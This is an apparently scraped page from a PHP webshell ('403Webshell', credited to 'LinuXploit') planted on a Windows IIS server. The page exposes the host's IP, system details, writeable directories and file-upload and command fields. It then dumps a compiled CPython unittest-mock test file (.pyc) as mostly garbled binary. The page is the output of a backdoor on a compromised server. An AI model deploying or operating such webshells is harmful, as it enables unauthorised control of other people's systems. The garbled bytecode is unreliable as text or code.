403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python312/Lib/test/test_unittest/testmock/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python312/Lib/test/test_unittest/testmock/__pycache__/testcallable.cpython-312.pyc
�

���gF���ddlZddlmZmZmZddlmZmZmZm	Z	m
Z
mZmZGd�dej�Zedk(rej �yy)�N)�is_instance�X�	SomeClass)�Mock�	MagicMock�NonCallableMagicMock�NonCallableMock�patch�create_autospec�
CallableMixinc�T�eZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Zd�Z
d�Zy
)�TestCallablec��|jt|t��|jt|t��y�N)�
assertTruerr�assertFalser��self�mocks  �=C:\Python312\\Lib\test\test_unittest\testmock\testcallable.py�assertNotCallablezTestCallable.assertNotCallables+������D�*>�?�@�����T�=�9�:�c��t�t�fD]b}|jt|�|j	t|d��|j
|jjt|���dy)N�__call__)
rr	�assertRaises�	TypeErrorr�hasattr�assertIn�	__class__�__name__�reprrs  r�test_non_callablezTestCallable.test_non_callablesX��(�*�O�,=�=�D����i��.����W�T�:�6�7��M�M�$�.�.�1�1�4��:�>�>rc��|jttt��|jttt
��yr)r�
issubclassrrrr	�rs r�test_hierarchyzTestCallable.test_hierarchys)�����
�9�d�3�4����
�#7��I�Jrc���t�}|jtt|j�t
��t
�}|jtt|j�t��yr)	r	rr$�type�onerr�twor)rr)r*s   r�test_attributeszTestCallable.test_attributes#sH��������
�4����=�$�7�8�"�$�����
�4����=�)�<�=rc��Gd�dt�}|�}|jtt|j�|��Gd�dt
�}|�}|jtt|j�|��y)Nc��eZdZy)�-TestCallable.test_subclasses.<locals>.MockSubN�r �
__module__�__qualname__�rr�MockSubr.,���rr3c��eZdZy)�.TestCallable.test_subclasses.<locals>.MagicSubNr/r2rr�MagicSubr62r4rr7)rrr$r(r)rr*)rr3r)r7r*s     r�test_subclasseszTestCallable.test_subclasses+sb��	�d�	��i�����
�4����=�'�:�;�	�y�	��j�����
�4����=�(�;�<rc��tdtzd��}|j�}|j|j�|�}|j�|j
|�|jt|�y)N�%s.XT��spec�	r
r �start�
addCleanup�stop�assert_called_once_withrrr�r�patcherr�instances    r�test_patch_speczTestCallable.test_patch_spec9s_�����)��5���}�}���������%��6���$�$�&����x�(����)�X�.rc��tdtzd��}|j�}|j|j�|�}|j�|j
|�|jt|�y)Nr:T��spec_setr=rBs    r�test_patch_spec_setz TestCallable.test_patch_spec_setEs_�����)�D�9���}�}���������%��6���$�$�&����x�(����)�X�.rc���tdtzt���}|j�}|j	|j
�|j
|�|jt|�y)Nr:r;�	r
r rr>r?r@rrr�rrCrs   r�test_patch_spec_instancez%TestCallable.test_patch_spec_instanceQsN�����)���4���}�}���������%����t�$����)�T�*rc���tdtzt���}|j�}|j	|j
�|j
|�|jt|�y)Nr:rGrKrLs   r�test_patch_spec_set_instancez)TestCallable.test_patch_spec_set_instanceZsN�����)�A�C�8���}�}���������%����t�$����)�T�*rc	�:�Gd�dt�}Gd�d|�}Gd�dt|�}dD]�}|||fD]�}tdtzfi||i��5}|�}|j	�|jt
|t��|jtt|d	�|�}|j	�|d
dd�|j	d
dd�|jd
dd�|jj	d
dd�ddd�����y#1swY��xYw)
Nc��eZdZd�Zy)�>TestCallable.test_patch_spec_callable_class.<locals>.CallableXc��yrr2r%s rrzGTestCallable.test_patch_spec_callable_class.<locals>.CallableX.__call__es��rN)r r0r1rr2rr�	CallableXrRds��$rrTc��eZdZy)�8TestCallable.test_patch_spec_callable_class.<locals>.SubNr/r2rr�SubrVgr4rrWc��eZdZy)�:TestCallable.test_patch_spec_callable_class.<locals>.MultiNr/r2rr�MultirYjr4rrZ)r<rHr:�	foobarbaz���)rrr
r rArrrr�AttributeError�getattr�foo)	rrTrWrZ�arg�KlassrrD�results	         r�test_patch_spec_callable_classz+TestCallable.test_patch_spec_callable_classcs��	%��	%�	�)�	�	�I�s�	�&�C�"�C��.���6�H�,�=��e��=��#�v�H��0�0�2��O�O�K��)�$D�E��%�%�n�g�x�&1�3�&�Z�F��4�4�6��1�a��O��2�2�1�a��;��J�J�q�!�Q�'��J�J�6�6�q�!�Q�?�!>�=�/�&�=�=�s
�
B7D�Dc��tt�}|�}|jt|�tt��}|jt|�yr)rrrr)rrrDs   r�test_create_autospecz!TestCallable.test_create_autospec�s?���q�!���6�����)�X�.��q�s�#�����)�T�*rc���ttd��}|jt|�|j	�|jj�|jt|jdd�y)NT)rD�some�args)rrrr�wibblerArs  r�test_create_autospec_instancez*TestCallable.test_create_autospec_instance�sO���y�4�8�����)�T�*����
����+�+�-����)�T�[�[�&�6�BrN)r r0r1rr"r&r+r8rErIrMrOrergrlr2rrrrsA��;�
?�K�
>�=�	/�	/�+�+�@�>+�Crr�__main__)�unittest�#test.test_unittest.testmock.supportrrr�
unittest.mockrrrr	r
rr�TestCaserr �mainr2rr�<module>rssP��
�I�I����BC�8�$�$�BC�J�z���H�M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit